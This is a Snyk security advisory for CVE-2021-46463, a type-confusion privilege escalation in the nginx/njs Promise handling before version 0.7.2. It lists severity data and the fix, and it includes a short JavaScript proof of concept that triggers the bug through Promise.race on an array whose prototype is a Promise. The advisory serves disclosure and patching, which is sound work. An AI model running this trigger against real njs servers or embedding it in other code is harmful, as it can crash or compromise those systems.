Privilege Escalation Affecting nginx/njs package, versions [,0.7.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.38% (73rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-NGINXNJS-2401465
  • published18 Feb 2022
  • disclosed15 Feb 2022
  • creditP1umer, Kotori, afang5472

Introduced: 15 Feb 2022

CVE-2021-46463  (opens in a new tab)
CWE-264  (opens in a new tab)

How to fix?

Upgrade nginx/njs to version 0.7.2 or higher.

Overview

Affected versions of this package are vulnerable to Privilege Escalation due to Type Confusion vulnerability of the Promise object in njs_promise_perform_then(), which can be exploited by manipulation of njs_promise_perform_then() function with an unknown input.

PoC:

function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    const v7 = Promise.race(v5);
    console.log(o)
}
main();

CVSS Scores

version 3.1